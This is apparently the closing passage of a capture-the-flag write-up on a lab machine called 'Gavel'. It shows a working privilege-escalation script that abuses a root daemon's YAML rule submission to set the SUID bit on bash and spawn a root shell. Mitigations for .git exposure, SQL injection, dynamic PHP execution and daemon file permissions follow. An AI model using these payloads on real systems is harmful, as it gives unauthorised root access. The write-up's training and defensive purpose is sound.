image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
system("chmod u+s /bin/bash");
return false;
EOF_SUID
/usr/local/bin/gavel-util submit root_suid.yaml
echo "[*] Payload submitted. Checking /bin/bash permissions..."
sleep 2
if ls -la /bin/bash | grep -q "rws"; then
echo "[+] SUCCESS! /bin/bash is now SUID root."
echo "[*] Spawning root shell and reading /root/root.txt ..."
/bin/bash -p -c 'cat /root/root.txt; exec /bin/bash -p'
else
echo "[-] Exploit failed. /bin/bash is not SUID."
echo "[*] Trying alternative payload (copy bash)..."
cat << 'EOF_COPY' > root_copy.yaml
name: RootCopy
description: Getting Root Alt
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned Alt"
rule: |
copy('/bin/bash', '/tmp/rootbash');
chmod('/tmp/rootbash', 04755);
return false;
EOF_COPY
/usr/local/bin/gavel-util submit root_copy.yaml
sleep 2
if [ -f /tmp/rootbash ]; then
echo "[+] Alternative payload SUCCESS! /tmp/rootbash created."
echo "[*] Spawning root shell and reading /root/root.txt ..."
/tmp/rootbash -p -c 'cat /root/root.txt; exec /tmp/rootbash -p'
else
echo "[-] All attempts failed."
exit 1
fi
fi
Mitigations & Recommendations
1. Restrict Access to .git Repository
Action: Configure the web server to explicitly block access to hidden directories (such as .git) to prevent unauthorized source code disclosure.
1
2
3
4
# Apache Configuration snippet
<DirectoryMatch "^\.|\/\.">
Require all denied
</DirectoryMatch>
Root Cause: The .git repository was located inside the publicly accessible webroot without any access controls. This allowed attackers to seamlessly download the complete version history and source code using tools like git-dumper.
2. Remediate SQL Injection in Inventory Search
Action: Ensure all dynamic column sorting uses a strict allowlist. Never interpolate user-supplied parameters directly into the SQL query string.
1
2
3
4
5
6
7
8
// Use an allowlist for sorting columns
$allowed_cols = ['item_name', 'quantity', 'date_added'];
if (!in_array($sortItem, $allowed_cols)) {
$sortItem = 'item_name';
}
// Use parameterized queries
$stmt = $pdo->prepare("SELECT `".$sortItem."` FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
Root Cause: The inventory.php script interpolated the user-controlled $sortItem parameter directly into the SQL query string ("SELECT $col FROM inventory..."). The developer’s attempt at sanitization (str_replace("”, “”, $sortItem)`) was inadequate, allowing the injection of arbitrary SQL statements.
3. Remove Unsafe Dynamic PHP Execution
Action: Refactor the application to avoid executing user-supplied strings as PHP code. Remove the runkit extension entirely, or use a secure, sandboxed expression evaluator specifically designed for custom rules.
1
2
# Strongly disable dangerous functions in php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,runkit_function_add,runkit_function_remove
Root Cause: The bid_watcher.php script used runkit_function_add() to dynamically construct a PHP function body from the user-controlled $rule variable. This allowed any authenticated user with access to the admin panel to execute arbitrary PHP code under the context of the web server.
4. Secure the gaveld Daemon Configuration
Action: Prevent unprivileged users from modifying the daemon’s PHP configuration file. Ensure /opt/gavel/.config/php/php.ini is strictly owned by root and only writable by root. Furthermore, the daemon should be refactored to parse YAML payloads securely without passing them to a PHP interpreter.
1
2
3
# Ensure strict ownership and permissions
chown root:root /opt/gavel/.config/php/php.ini
chmod 644 /opt/gavel/.config/php/php.ini
Root Cause: The gaveld daemon, running as root, allowed users in the gavel-seller group to submit YAML payloads containing arbitrary PHP code. While the daemon employed a restricted php.ini to mitigate code execution, it failed to restrict file write operations. An attacker bypassed the sandbox by using PHP’s native file_put_contents() to completely overwrite the php.ini file and remove all security restrictions.




